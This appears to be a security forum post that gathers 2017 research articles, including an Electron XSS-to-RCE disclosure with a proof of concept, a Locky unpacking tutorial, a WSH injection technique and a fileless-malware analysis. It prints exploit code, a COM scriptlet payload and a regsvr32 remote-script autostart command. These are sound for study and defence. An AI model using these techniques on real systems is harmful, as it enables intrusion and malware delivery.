Nytro

Publicat pe 4 aug. 2017 In this video we figure out how to do a popunder in Chrome version 59, by using a trick. Hopefully Chrome fixes this, because I resent this kind of advertisement. PoC: https://liveoverflow.com/poc/popunder...

Modern Alchemy: Turning XSS into RCE 03 Aug 2017 - Posted by Luca Carettoni TL;DR At the recent Black Hat Briefings 2017, Doyensec’s co-founder Luca Carettoni presented a new research on Electron security. After a quick overview of Electron’s security model, we disclosed design weaknesses and implementation bugs that can be leveraged to compromise any Electron-based application. In particular, we discussed a bypass that would allow reliable Remote Code Execution (RCE) when rendering untrusted content (for example via Cross-Site Scripting) even with framework-level protections in place. In this blog post, we would like to provide insight into the bug and remediations. What’s Electron? While you may not recognize the name, it is likely that you’re already using Electron since it’s running on millions of computers. Slack, Atom, Visual Studio Code, WordPress Desktop, Github Desktop, Basecamp3, Mattermost are just few examples of applications built using this framework. Any time that a traditional web application is ported to desktop, it is likely that the developers used Electron. Understanding the nodeIntegration flag While Electron is based on Chromium’s Content module, it is not a browser. Since it facilitates the construction of complex desktop applications, Electron gives the developer a lot of power. In fact, thanks to the integration with Node.js, JavaScript can access operating system primitives to take full advantage of native desktop mechanisms. It is well understood that rendering untrusted remote/local content with Node integration enabled is dangerous. For this reason, Electron provides two mechanisms to “sandbox” untrusted resources: BrowserWindow mainWindow = new BrowserWindow({ "webPreferences": { "nodeIntegration" : false, "nodeIntegrationInWorker" : false } }); mainWindow.loadURL('https://www.doyensec.com/'); WebView <webview src="https://www.doyensec.com/"></webview> In above examples, the nodeIntegration flag is set to false. JavaScript running in the page won’t have access to global references despite having a Node.js engine running in the renderer process. Hunting for nodeIntegration bypasses It should now be clear why nodeIntegration is a critical security-relevant setting for the framework. A vulnerability in this mechanism could lead to full host compromise from simply rendering untrusted web pages. As modern alchemists, we use this type of flaws to turn traditional XSS into RCE. Since all Electron applications are bundled with the framework code, it is also complicated to fix these issues across the entire ecosystem. During our research, we have extensively analyzed all project code changes to uncover previously discovered bypasses (we counted 6 before v1.6.1) with the goal of studying Electron’s design and weaknesses. Armed with that knowledge, we went for a hunt. By studying the official documentation, we quickly identified a significant deviation from standard browsers caused by Electron’s “glorified” JavaScript APIs. When a new window is created, Electron returns an instance of BrowserWindowProxy. This class can be used to manipulate the child browser window, thus subverting the Same-Origin Policy (SOP). SOP Bypass #1 <script> const win = window.open("https://www.doyensec.com"); win.location = "javascript:alert(document.domain)"; </script> SOP Bypass #2 <script> const win = window.open("https://www.doyensec.com"); win.eval("alert(document.domain)"); </script> The eval mechanism used by the SOP Bypass #2 can be explained with the following diagram: Additional source code review revealed the presence of privileged URLs (similar to browsers’ privileged zones). Combining the SOP-bypass by design with a specific privileged url defined in lib/renderer/init.js, we realized that we could override the nodeIntegration setting. A simple, yet reliable, proof-of-concept of the nodeIntegration bypass affecting all Electron releases prior to 1.6.7 is hereby included: <!DOCTYPE html> <html> <head> <title>nodeIntegration bypass (SOP2RCE)</title> </head> <body> <script> document.write("Current location:" + window.location.href + "<br>"); const win = window.open("chrome-devtools://devtools/bundled/inspector.html"); win.eval("const {shell} = require('electron'); shell.openExternal('file:///Applications/Calculator.app');"); </script> </body> </html> On May 10, 2017 we reported this issue to the maintainers via email. In a matter of hours, we received a reply that they were already working on a fix since the privileged chrome-devtools:// was discovered during an internal security activity just few days before our report. In fact, while the latest release on the official website at that time was 1.6.7, the git commit that fixes the privileged url is dated April 24, 2017. The issue was fixed in 1.6.8 (officially released around the 15th of May). All previous versions of Electron and consequently all Electron-based apps were affected. Mitigating nodeIntegration bypass vulnerabilities Keep your application in sync with the latest Electron framework release. When releasing your product, you’re also shipping a bundle composed of Electron, Chromium shared library and Node. Vulnerabilities affecting these components may impact the security of your application. By updating Electron to the latest version, you ensure that critical vulnerabilities (such as nodeIntegration bypasses) are already patched and cannot be exploited to abuse your application. Adopt secure coding practices. The first line of defense for your application is your own code. Common web vulnerabilities, such as Cross-Site Scripting (XSS), have a higher security impact on Electron hence it is highly recommend to adopt secure software development best practices and perform periodic security testing. Know your framework (and its limitations). Certain principles and security mechanisms implemented by modern browsers are not enforced in Electron (e.g. SOP enforcement). Adopt defense in depth mechanisms to mitigate those deficiencies. For more details, please refer to our Electronegativity, A study of Electron Security presentation and Electron Security Checklist white-paper. Use the recent “sandbox” experimental feature. Even with nodeIntegration disabled, the current implementation of Electron does not completely mitigate all risks introduced by loading untrusted resources. As such, it is recommended to enable sandboxing which leverages the native Chromium sandbox. A sandboxed renderer does not have a Node.js environment running (with the exception of preload scripts) and the renderers can only make changes to the system by delegating tasks to the main process via IPC. While still not perfect at the time of writing (there are known security issues, sandbox is not supported for the <webview> tag, etc.) this option should be enabled to provide additional isolation. Sursa: https://blog.doyensec.com/2017/08/03/electron-framework-security.html

Unpacking Locky I will show you how to unpack a Locky sample with OllyDbg. This packer is indeed an easy one. But you will see for yourself. Download the sample from Hybrid-Analysis. An alternative way of unpacking this sample is in this video on my channel: The first thing I always do is a static check with a PE analysis tool like PortexAnalyzer. The image will look as follows and already tell us that the file is packed. Several sections of the file have a high entropy, including the .rdata section. Packer identifies like DIE will not know what was used to pack it, because the packer is a custom one. This is often the case with malware samples. This packer has the quirky characteristic to always add 32-bit Edition to the file version information whilst the other information changes: StringFileInfo --------------- language ID: 0x0409 code page: 0x04b0 CompanyName: Doubtsoftware.com FileDescription: Advanced Task Scheduler 32-bit Edition FileVersion: 4.1.0.612 InternalName: #dvenced Task Scheduler 32-bit Edition LegalCopyright: Copyright © Southsoftware.com, 2002-2015 OriginalFilename: Bifscheduler_edmin.exe ProductName: Advanced Task Scheduler 32-bit Edition ProductVersion: 4.1.0.612 The debug information has a strange, unknown type, hence Portex does not parse it any further: Debug Information ***************** Time Date Stamp: Thu Dec 09 05:07:00 CET 2083 Type: 4102553603 no description available If you look into the binary (tip: search for 'RSDS' to find it with the hex editor) you will see that there is debug path that has been created or modified in a random fashion: Z:\as\28cxkoao\azoozykz\l0t\jx\w9y4cni\jyc6mq3\mvnt.pdb Whilst this does not help to unpack the file, it might help to recognize this custom packer in the future. A check of the strings in the binary and the imports won't get us any further. If you get this sample in a fresh state, you will easily see that this is Locky with dynamic analysis. But once the samples are older and can't find a working C&C, they won't encrypt anymore. Now load the binary with OllyDbg. Don't forget to take a snapshot of your VM at this point. Simply step over with F8 while keeping your eyes open. If you happen to step over the following call you will see that the sample is doing a lot (reload the sample if that happens), so you should step into it instead (press f7). The same happens at the following call, also step into: Just keep on going like this, stepping over calls unless they start to do a lot, and keep your eyes open. At address 0x402364 you might notice that the code writes to the .rdata section (0x417EE on that image). Indeed, if you put a breakpoint to the instruction and watch .rdata in the dump window while running to the breakpoint (F9), you will see how .rdata gets decrypted. The jump to the .rdata section appears in 0x4020F0. Note that push followed by ret equals a jump instruction. This ret instruction will jump to 0x41577A. Compare that with the PortexAnalyzer report or the Memory window in OllyDbg to verify that this virtual address is in the .rdata section. Unfortunately we are not there yet. The decrypted code in the .rdata section is also a packer stub. Step through the code for a while. At some point you will see that the code collects addresses to common DLL functions with GetProcAddress. One of those is RtlDecompressBuffer, which is used by lots of packers to unpack their payload. Break at address 0x415B37. Right-click the value of EAX and click "Follow in Disassembler". You will now see the code of the RtlDecompressBuffer function. Break at the PUSH DWORD PTR [EBP + C] instruction: Now right-click the EDI value and Follow in Dump You will see an empty dump window And after stepping over (F8) the file will unpack in memory. The last thing to do is to open the Memory window and select the right memory area to dump the unpacked executable. Choose the location to save the dump to and you are done. The result is an unpacked Locky as you can verify by checking the strings of the dump or looking at it with a hex editor. Posted 8 hours ago by Karsten Hahn Sursa: http://struppigel.blogspot.de/2017/08/unpacking-locky.html

WSH INJECTION: A CASE STUDY August 3, 2017 by enigma0x3 At BSides Nashville 2017, Casey Smith (@SubTee) and I gave a talk titled Windows Operating System Archaeology. At this talk, we released a handful of offensive techniques that utilized the Component Object Model (COM) in Windows. One such technique described was abusing attacker controlled input passed to calls to GetObject(), which I will be discussing here. Some environments use whitelisting to prevent unsigned Windows Scripting Host (WSH) files from running, especially with the rise of malicious .js or .vbs files. However, by “injecting” our malicious code into a Microsoft signed WSH script, we can bypass such a restriction. Before diving into the different scripts that can be used for injection, it’s important to understand some of the mechanics behind why this works. When abusing injection, we are taking advantage of attacker controlled input passed to GetObject() and then combining that with the “script:” or “scriptlet:” COM monikers. GetObject() This method allows you to access an already instantiated COM object. If there isn’t an instance of the object already (if invoked without a moniker), this call will fail. For example, accessing Microsoft Excel’s COM object via GetObject() would look like this: Set obj = GetObject( , "Excel.Application") For the above to work, an instance of Excel has to be running. You can read more about GetObject() here. COM Monikers While GetObject() is interesting by itself, it only allows us to access an instance of an already instantiated COM object. To get around this, we can implement a COM moniker to facilitate our payload execution. If you aren’t familiar with COM monikers, you can read more about them here. There are various COM monikers on Windows that allow you to instantiate objects in various ways. From an offensive standpoint, you can use these monikers to execute malicious code. That is a topic for another blog post :-). For this post, we will focus on the “script:” and “scriptlet:” monikers. These particular monikers interface with scrobj.dll and help facilitate execution of COM scriptlets, which will be the payload. This was discovered by Casey Smith (@SubTee) and discussed at DerbyCon 2016 as well as blogged about here. An example COM scriptlet will look like this: <?XML version="1.0"?> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </scriptlet> You can also use James Forshaw’s (@tiraniddo) tool DotNetToJScript to extend the JScript/VBScript in the COM Scriptlet, allowing for Win32 API access and even Shellcode execution. When you combine one of these two monikers and various calls to GetObject(), a lot of fun is had. Now that the very brief COM background is over, time to look at an example PubPrn.vbs On Windows 7+, there is a Microsoft Signed WSH script called “PubPrn.vbs,” which resides in “C:\Windows\System32\Printing_Admin_Scripts\en-US”. When looking at this particular script, it becomes apparent that it is taking input provided by the user (via command line arguments) and passing an argument to “GetObject()”. This means that we can run this script and pass it the two arguments it expects. The first argument can be anything and the second argument is the payload via the script: moniker. Note: If you provide a value that isn’t a network address for the first argument (since it expects a ServerName), you can add the “/b” switch to cscript.exe when calling to suppress any additional error messages. Since VBScript relies on COM to perform actions, it is used heavily in numerous Microsoft signed scripts. While this is just one example, there are bound to be others that can be exploited in a similar fashion. I encourage you to go hunting Matt N. Sursa: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

iOS 10.3.2 XPC Userland Jailbreak Exploit Tutorial - CVE-2017-7047 by Ian Beer Publicat pe 3 aug. 2017 Just thought I'd make a quick video explaining a bit about the new user land research tool & exploit released by Ian Beer for iOS 10.3.2! Currently this project only allows you to mess with user land processes such as backboardd, launchd, SpringBoard, etc & is DOES NOT provide a method of fully jailbreaking & patching the kernel and installing Cydia and other jailbroken packages onto the device. Download the tool - https://bugs.chromium.org/p/project-z... Thanks for watching! ∎∎∎My Social Media∎∎∎ Twitter - https://bit.ly/2rA593q Website - https://bit.ly/2sDHJiB

Tim MalcomVetter Red Team Leader at Fortune 1. I left my clever profile in my other social network: https://www.linkedin.com/in/malcomvetter Aug 3 Simplifying Domain Fronting Like many things in InfoSec, we complicate concepts with new terms and lingo, but the concepts at their core are simple. “Domain Fronting” is a great example. Domain fronting is a new(ish) technique attackers are using for hiding their command and control traffic to infected computers by masquerading as traffic to trusted servers hosted behind Content Delivery Networks (CDNs). This concept can appear so confusing, but when boiled down to its core, it’s simple: there are two “addresses” for the command and control server and the attacker mismatches them in a careful way. That’s it. Let’s break it down. The first “address” is obvious: the DNS domain name which is passed in each URL, e.g. http://www.example.com. For a normal self-hosted website (no CDN), the HTTP request would look something like this: GET /path/file.html HTTP/1.1 Host: www.example.com …snip… The second “address” is the host header in the HTTP request header (above). In this simplest case, the DNS domain and the host header match. But the host header can mismatch, often by design, especially when the website is hosted behind a CDN. Let’s assume the website owners move www.example.com behind a fake CDN service called examplecdn.com. Clients still send traffic to http://www.example.com as the CDN will be transparent to them, but the CDN assigns a unique host header to the website owners so that the CDN knows to retrieve their site content and not another CDN customer’s content. Let’s assume that host header is abc.examplecdn.comwhich makes a request like this: GET /path/file.html HTTP/1.1 Host: abc.examplecdn.com …snip… The first address of http://www.example.com stays the same. The second “address” (the host header) is now intentionally mismatched, but the website operates as intended — nothing malicious yet. An attacker can exploit this scenario by first signing up for the CDN service (which is typically inexpensive). Let’s assume the CDN assigns the host header value of xyz.examplecdn.com to the attacker. An attacker can masquerade as the trusted server at http://www.example.com by simply configuring infected clients to use the attacker’s host header, so a request would look like this: GET /path/file.html HTTP/1.1 Host: xyz.examplecdn.com …snip… That’s it. It’s just swapping in the attacker’s host header. Simple enough, if the conditions are right, and the attacker can enumerate those conditions through open source intelligence (OSINT), namely: which websites use which CDNs and how to setup service behind the target CDN. In fact, that’s the hardest part of the attack — finding a good domain to masquerade behind that fits the victim. Sprinkle in HTTPS and there’s sort of a mini “race condition” that can be exploited because the encryption happens earlier since it sits at a lower layer in the OSI stack than the HTTP protocol. Not to mention that encryption can make defense more difficult (defenders must decrypt all traffic to inspect internally). These are the steps for HTTPS traffic: 1. Client performs DNS lookup of server (www.example.com) 2. Client initiates a connection to the IP address from the DNS lookup on TCP port 443 3. The server presents a server certificate to begin the TLS tunnel setup a. At this step, the server must anticipate which certificate name the client wants based on the IP address of the server. In this case, the server presents a certificate with www.example.com and not examplecdn.com or someotherexample.com. Virtual hosting multiple websites over HTTPS requires unique IP addresses per VHOST (or wildcard certificates) because TLS/SSL happens before HTTP. 4. The client completes TLS negotiation and submits the first HTTP request, optionally with a host header defined. 5. The server reads the request and may make decisions to present different content based on the value of the host header. Step #5 is when Domain Fronting happens — since attackers simply switch in their host header for the CDN to route what appears to be trusted website traffic to their command and control server instead. Many CDNs label this as a “feature” not a “bug,” but the CDNs are in the best place to prevent the abuse — it’s very difficult for a defender to detect domain fronting, because it requires decrypting all HTTPS connections, logging host headers, and checking for anomalies, which will be prone to false positives (not to mention this requires a ton of data to be collected). A better defensive approach is to simply decrypt all traffic and look for signs of command and control traffic, such as common URL patterns or predictable patterns in the call backs. So that’s it. When you hear “domain fronting” just think: swapping in an attacker’s host header for HTTP traffic to a high reputation website hosted behind a CDN. Sursa: https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0

IOS Forensics POSTED IN FORENSICS ON JULY 25, 2017 1. INTRODUCTION Day by day, Smart phones and tablets are becoming popular, and hence technology used in development to add new features or improve the security of such devices is advancing too fast. iPhone and iPod are the game changer products launched by Apple. Apple operating system (IOS) devices started growing popular in the mobile world. Latest Smart phones or Tablets can perform ideally most of the tasks which could be performed on Laptop or Personal Computers. IOS devices provide larger storage space which could store Emails, Browsing histories, chat histories, Wi-Fi data and GPS data and more. From the forensics perspective, such devices could present lots of useful artifacts during the investigation. There are well-defined procedures to extract and analyze data from IOS devices which are included in this paper. This paper could be divided into the following sections. Introduction to the forensic processes focused towards mobile forensics, Extracting Logical and Physical data from the IOS devices, IOS file system and storage Analysis, Analysis of logical data, data from the iTunes and iCloud back up, Wi-Fi and GPS data. 2. AN OVERVIEW OF MOBILE FORENSICS PROCESSES Mobile forensics is a field of digital forensics which is focused towards mobile devices which are growing very fast. Due to the exponential growth of the mobile market, Importance of mobile forensics has also increased. Mobile phone generally belongs to a single person so analysis of it could reveal lots of personal information. Due to the rapid growth, it also introduced challenges. The ratio of new models designed and launched is very high which makes very difficult to follow similar procedures. Each case or investigation of the new model needs to consider differently and requires following steps which could be different and unique to the case. With these challenges in mobile forensics, syncing mobiles phone to a computer using software becomes easy. One could extract data like SMS, contacts, installed applications, GPS data and emails, deleted data. 2.1 Collection Below steps are recommended to follow during collection of mobile device Note location from where mobile has been collected. It is good practice to take the picture using the camera of the location and mobile phone before starting any progress. Note the status of the device. Whether it’s powered off or on. If it is power on then, check the battery status, network status. Check where the screen is locked. Search for the SIM package and if any cables are located around 2.2 Preservation Preservation of evidence is a very crucial step in digital forensics. If it is very important to maintain evidence integrity throughout the investigation. For mobile forensics below steps are good practice to follow It is possible that attacker could remotely wipe data or any new activity could override the existing data. So, the first step should be to isolate the mobile device from the network. There are several ways that could be followed according to scenario, Removing SIM card Switching to Airplane mode Use Faraday’s Bag or Jammer Chain of Custody – Chain of custody is the document to maintain each record of the Digital evidence from the collection to presentation. It includes details like serial no, case no, locker no, Investigator’s name, time and date of each step, Details of evidence transportation. It is crucial because it keeps track of the Digital evidence. Hashing – Hashing is the method used to prove the integrity of the evidence. MD5 or SHA are widely used algorithms to calculate the Hash values of the evidence. As previously mentioned it is almost impossible to interact mobile device without altering it. But we could calculate the hash value of the extracted data through logical extraction or of the image file extracted through physical extraction. 2.3 Acquisition There are three methods used for the data extraction from the IOS devices. Below overview has been given about each. Physical – It is a bit-to-bit copy of the device and allows recovering deleted data. Unfortunately, with mobile forensic always it is not possible to use this method. File system – This method would extract files which are visible at file system level. Logical – This method allows to extract particular files from the file system like backup taken using iTunes Sometimes needs to perform offensive techniques like password cracking, Jail Breaking. 3. IOS DEVICES AND FILE SYSTEM Apple developed an operating system for iPhone, iPad and iPod Touch which is known as IOS operating system. Devices running on IOS operating system are called IOS devices. 3.1 IOS Devices iPhone Most famous among IOS devices is iPhone which was very popular due to look, Camera, and Features. Total 17 iPhone models were launched till date. Below Table shows Latest iPhone model released and their specifications. iPhoneModel Camera Spec Cellular radio CPU Spec Firmware RAM Storage iPhone 5 Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.2 GHZ Instruction Set – ARMv7s IOS 6.0 1GB 16/32/64 GB iPhone 5s Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.3 GHZ Instruction Set – ARMv8 IOS 7.0 1GB 16/32/64 GB iPhone 6 Front – 1.2 Mp Rear – 8.0 Mp Up to LTE(4G) CPU speed -1.38 GHZ Instruction Set – ARMv8 IOS 7.0 1GB 16/32/64 GB iPhone 6s Front – 5 Mp Rear – 12.2 Mp Up to LTE(4G) CPU speed -1.85 GHZ Instruction Set – ARMv8 IOS 9.0 2 GB 16/32/64 GB iPhone SE Front – 1.2 Mp Rear – 12.2 Mp Up to LTE(4G) CP U speed -1.85 GHZ Instruction Set – ARMv8 IOS 9.3 2 GB 16/32/64/128 GB iPhone 7 Front – 7 Mp Rear – 12.2 Mp Up to LTE(4G) CPU speed -2.34 GHZ Instruction Set – ARMv8 IOS 10 2 GB 32/64/128 GB Latest iPhone models and specifications iPhone 6, iPhone 6s, iPhone 6 Plus, iPhone 6s Plus, iPhone SE, iPhone 7 and iPhone 7 Plus are the iPhone models which are currently on the market and very popular due to their features. iPad After the Huge success of the iPhone, Apple launched iPad tablet. The first model was simply named iPad or iPad first Generation. It was released after the iPhone 3Gs and before the iPhone 4. Below table shows Latest iPad Models and specifications. iPad Model Camera Spec Cellular Radio CPU Spec Firmware RAM Storage iPad Air Rear 5 Mp UP to LTE (4G) CPU Speed – 1.4 GHZ Instruction Set – ARMv8 IOS 7.0.3 1 GB 16/32/64/128 GB iPad Air2 Rear 8 Mp UP to LTE (4G) CPU Speed – 1.5 GHZ Instruction Set – ARMv8 IOS 8.1 2 GB 16/64/128 GB iPad Pro Rear 8 Mp UP to LTE (4G) CPU Speed – 2.2 GHZ Instruction Set – ARMv8-A IOS 9.1 4 GB 32/128/256 GB iPad (5th Gen) Rear 8 Mp UP to LTE (4G) CPU Speed – 1.85 GHZ Instruction Set – ARMv8 IOS 10.3 2 GB 32/128 GB iPad Pro (2nd Gen) Rear 12 Mp UP to LTE (4G) CPU Speed – 2.38 GHZ Instruction Set – ARMv8 IOS 10.3.2 4 GB 64/256/512 GB iPad mini 4 Rear 8 Mp UP to LTE (4G) CPU Speed – 1.49 GHZ IOS 9.0 2 GB 16/64/128 GB Latest iPad Models and Specifications. iPod First iPod was launched by Apple in 2001. It was known as “First Generation, ” and subsequent have been referred as “Second Generation” and so on. It was initially launched as Music play. As it is grown, it also provided the ability to play Videos and Games to users. The mentioned below smart feature of iPod models it is likely to come across forensic investigation of iPod device. An examiner could retrieve forensic data from storage, browser, gallery, etc. on an iPod. iPod touch has following features Camera, Wi-Fi Capabilities, Safari web browser, Storage and Playback for Audio, Video and Photo, YouTube player, Apps could be installed from App store iPod evolution chart is shown below. Figure. iPod Evolution Chart 3.2 IOS File System HFS+ File system Apple developed Hierarchical File System (HFS) which provides large data sets. Disk formatted with HFS has 512-byte Blocks at Physical level. There are two types of Blocks in the HFS. Logical Blocks, which are numbered from first to last within the volume. They are also the size of 512 bytes same as physical blocks. Allocation blocks are a group of logical blocks used to track data. Allocation blocks are further grouped together called clumps to reduce fragmentation on volume. HFS uses both absolute time (Local time) as well as UNIX time so one can identify the location of the system. HFS files system uses catalog file system to organize data. It uses B * tree (Balanced tree) structure to organize data. Trees are consisting of nodes. When data are added or deleted, it runs the algorithm to keep balance. Figure. Structure of HFS+ File system As seen in above figure, first 1024 bytes are reserved boot blocks. Volume Header – It contains information about the structure of HFS Volume. It keeps track of Catalog ID Numbering and increases it one each time file added. HFS+ volume header also contains signature “H+.” Allocation file – It keeps track of allocation blocks used by the file system. It basically includes a bitmap. Each bit represents the status of the allocation block. If it is set to 1, that means Allocation block is used, and if it is 0, that means allocation block is not used. Extent Overflow file – It consists of a pointer to the extent of the. If the file is larger than eight contiguous allocation blocks, then it uses extents. Catalog File – It organizes data using balanced tree system as mentioned previously. It utilizes to find the location of file or folder within the volume. It also contains the metadata of file like creation and modification date, permissions. Attribute File – It contains the customizable attributes of a file. Startup File – It assists the booting system which does not have built-in ROM support. Actual data is stored in the file system and tracked by the file system. Alternate Volume Header – It is Back up Volume header located at Last 1024 byte of the volume and its 512 bytes long. Last 512 Bytes are reserved. HFSX File System HFSX file system is a variation of HFS+ file system which is used in the Apple mobile devices. There is only one variation which is that it is case sensitive and it allows having two files with similar names but different case. 3.3 Partitions IOS Devices have two types of partitions. System partition and Data Partition System Partition – System partition does not contain more artifacts related to the investigation as it contains mostly system related information like IOS operating system and pre-installed applications. The system partition is a Read-only as visible in below output of Private/etc./fstab. Figure. fstab iPhone has a single disk hence it is denoted as Disk0. The system partition is Disk0s1, and Data Partition is Disk0s2. Figure. System Partition We can find the user configured password from the /private/etc./passwd file as shown below. Figure. Passwd file As seen in above screenshot, mobile and root password hashes can be retrieved from the passwd file. Further using password cracking tool like “John the Ripper” one can get the password. The root password is “Alpine” and which is the default for all the IOS devices. Data Partition Data partition contains user data and can provide lots of artifacts during the investigation. It is Read/Write partition. The structure of this partition has been changed with the different version of the IOS. Below is the screenshot from the IOS device which is running on IOS 7. Figure. Data Partition Below Directories are listed which could be the interest for the artifacts. Keychains – Keychain.db, which contains user password from various applications Logs – General.log: The OS version and Serial number, Lockdown.log – Lockdown Daemon log Mobile – User Data Preferences – system configurations Run – system logs Tmp -manifest.Plist: Plist Back up Root – Caches, Lockdown, and Preferences Property List Files Property lists are the XML files used in the management of configuration of OS and applications. These files contain useful artifacts related to web cookies, email accounts, GPS Map routes and searches system configuration preferences, browsing history and bookmarks. These files could be open to the simple text editor to view the contents. Figure. Plist SQLite Databases Logical extraction of the iPhone could provide lots of SQLite database files as it uses SQLite databases to store user data, the tool SQLite browser is used to explore and read SQLite database which can be download from http://sqlitebrowser.org/ Main three databases are Call History, Address Book, and SMS databases. These databases could be extracted through applications available like SQLite database Browser as seen in below screenshot. Figure. SQLite Database Browser 4. ACQUISITION OF IOS DEVICES 4.1 Phone Identification During search and seizure, it is necessary that examiner identifies the Phone model. One method is that check the back of the device which contains the model number printed Figure. Model number printed on back of the device Another approach is connecting iPhone to the forensic workstation. Install the library libimobiledevice on your workstation, it supports Windows, MAC and Linux up to 10.3 it can be downloaded from the URL http://www.libimobiledevice.org/ installation steps in details are explained here http://krypted.com/mac-os-x/use-libimobiledevice-to-view-ios-logs/ Regardless of Phone is locked or unlocked; some information can be gathered about connected iDevice using command ideviceinfo as shown in below screenshot. Figure. iDeviceinfo As seen in above figure, we could extract following listed important information about iDevice Device Class, Device Name, WiFiAddress, TelephonyCapability and HardwareModel, IOSversion 4.2 Operating modes of IOS devices IOS devices can be operated in three modes. 1) Normal mode 2) Recovery mode and 3) DFU mode. It is necessary that examiner or Investigator should be aware of this mode as this knowledge is required to decide during the investigation that on which mode device should be operated to extract data or efficient extraction of data. Normal mode When iPhone is switched on, it boots in an operating system, this is normal mode. In normal mode, the user could perform all regular activities. Normal mode boot process consists of three steps: Low-Level Bootloader, iBook and iOS kernel. These boot steps are signed to keep the integrity of the process. Recovery Mode The device enters into recovery mode if during the normal boot process if any step is failed to load or verify. The screenshot below shows the screen during recovery mode. Figure. Screen during Recovery mode This mode is used to perform upgrades or restore iPhone device. iPhone can be entered in recovery mode by following below steps Turn off device by holding power button on the top of the device Hold home button of phone and connect it to computer using USB cable Keep holding home button till Connect to the iPhone screen doesn’t appear and then home button could be released. Reboot device to exit the recovery mode DFU mode Device Firmware Upgrade mode is used to perform IOS upgrading, and it is a low-level mode for diagnosis. During boot up, if Boot ROM is not getting a load or verify, then iPhone presents the Black screen. The phone should be in DFU mode while using most acquisition techniques. Below steps needs to be performed to enter iPhone in a DFU mode. Install iTunes on a Forensic workstation and connect Phone to the forensic workstation using USB. Switch off Phone Hold power button for 3 seconds Hold home button with power button hold for 10 seconds Release the power button and hold home button still didn’t get alerted in iTunes that iPhone in recovery mode has been detected by iTunes. Articol complet: http://resources.infosecinstitute.com/ios-forensics/

A Look at JS_POWMET, a Completely Fileless Malware Posted on:August 2, 2017 at 7:00 am Posted in:Malware Author: Trend Micro By Michael Villanueva As cybercriminals start to focus on pulling off attacks without leaving a trace, fileless malware, such as the recent SOREBRECT ransomware, will become a more common attack method. However, many of these malware are fileless only while entering a user’s system, as they eventually reveal themselves when they execute their payload. Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine. Initial reports from our Smart Protection Network (SPN) data reveals JS_POWMET affecting APAC the most, with almost 90% of the infections coming from the region. Technical Details Figure 1: JS_POWMET infection Diagram Although the exact method of arrival is still not certain, it is likely that the trojan is downloaded by users that visit malicious sites, or as a file that is dropped by other malware. What is clear about this malware is that the following registry has already been changed by the time it is downloaded into the system. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll” JS_POWMET is downloaded via an autostart registry entry (shown above). Here are the descriptions for the following parameters used by “regsvr32”: /s = silent option for regsvr32 /n = tells regsvr32 not to use DllRegisterServer /u = Unregister server/object /i = used for passing an optional parameter (ie. URL) to DLLinstall scrobj.dll = Microsoft’s Script Component Runtime In this method, a URL was given to regsvr32 as a parameter, which will make regsvr32 capable of fetching the file (XML with malicious JavaScript) found on the URL. Due to this routine, regsvr32 will become capable of executing arbitrary scripts without saving the XML file on the machine/system. In particular, whenever the affected machine starts up, it will automatically download the malicious file from its Command & Control (C&C) server. Once JS_POWMET is executed, it will then download another file known as TROJ_PSINJECT (Detected by Trend Micro as TROJ_PSINJECT.A). This file is a Powershell script that runs under the process of Powershell. TROJ_PSINJECT will connect to the following website: hxxps://bogerando[.]ru/favicon This allows TROJ_PSINJECT to download a normal file called favicon. The favicon file will then be decrypted and injected into its process using ReflectivePELoader, which is used for injecting EXE/DLL files. To deobfuscate the malware code, it uses the following techniques. Initially, the malware contains Base64 Strings that will be decoded and decrypted using the RC4 key (which is hard-coded into the malware code). The resulting decrypted strings will be a GZIP-compressed string that is decompressed by the malware itself using the GZIP-decompression routine. This results in the codes for the ReflectivePELoader function that will be used to load the decrypted downloaded file. Favicon will also be decrypted using the aforementioned RC4 key, resulting in a malicious DLL file known as BKDR_ANDROM (Detected by Trend Micro as BKDR_ANDROM.ETIN). Again, this part of the process is also fileless; the file will not be saved into the machine but rather injected into the powershell.exe process. All of these routines will be executed by the malware using PowerShell commands. Figure 2: TROJ_PSINJECT code showing the deobfuscation process BKDR_ANDROM will terminate powershell.exe if it is found running in the system. In addition, it will also gather the following data: Root Volume Serial Number Operating System Version Local IP Address Administrator privileges The malware will add registry entries into the system to ensure that it always executes during startup. The autostart registry entry is capable of decoding the Base64-encoded PowerShell command, which will be used to decrypt the encrypted binary data (also found on the registry, added by the malware) that will result in the malicious codes of BKDR_ANDROM. After the decryption process, it will then execute the decrypted malicious codes. While the final payload in this case consists of common routines of BKDR_ANDROM, there is also a chance that future malware authors might make use of other malware as payload. Conclusion While JS_POWMET and the rest of the files it downloads are relatively light in terms of impact, this malware demonstrates the lengths cybercriminals will go to avoid detection and analysis. It also shows that even relatively uncommon infection methods involving fileless malware continually evolve. Organizations and users should always look beyond the obvious malware files and always be on the lookout for “stealthy” malware that manages to slip into the system virtually unnoticed. One of the more effective methods for mitigating the effects of fileless malware would be to limit access to critical infrastructure via container-based systems that separate endpoints from the most important parts of the network. For this specific malware, IT professionals can also look into disabling Powershell itself to help mitigate the effects of JS_POWMET and its various payloads. Trend Micro Solutions Fileless malware is designed to make detection by security solutions more difficult, as such organizations need to implement multilayered solutions that can help in detection. Trend Micro endpoint solutions such as Trend Micro™ Security, OfficeScan, and Worry-Free Business Security include behavior monitoring to detect this type of malware; this can help organizations look out for malicious behavior that can block the malware before the behavior is executed or performed. With additional analysis from Byron Gelera The following hashtags were used for this article: 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A) e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE) bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN) Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/

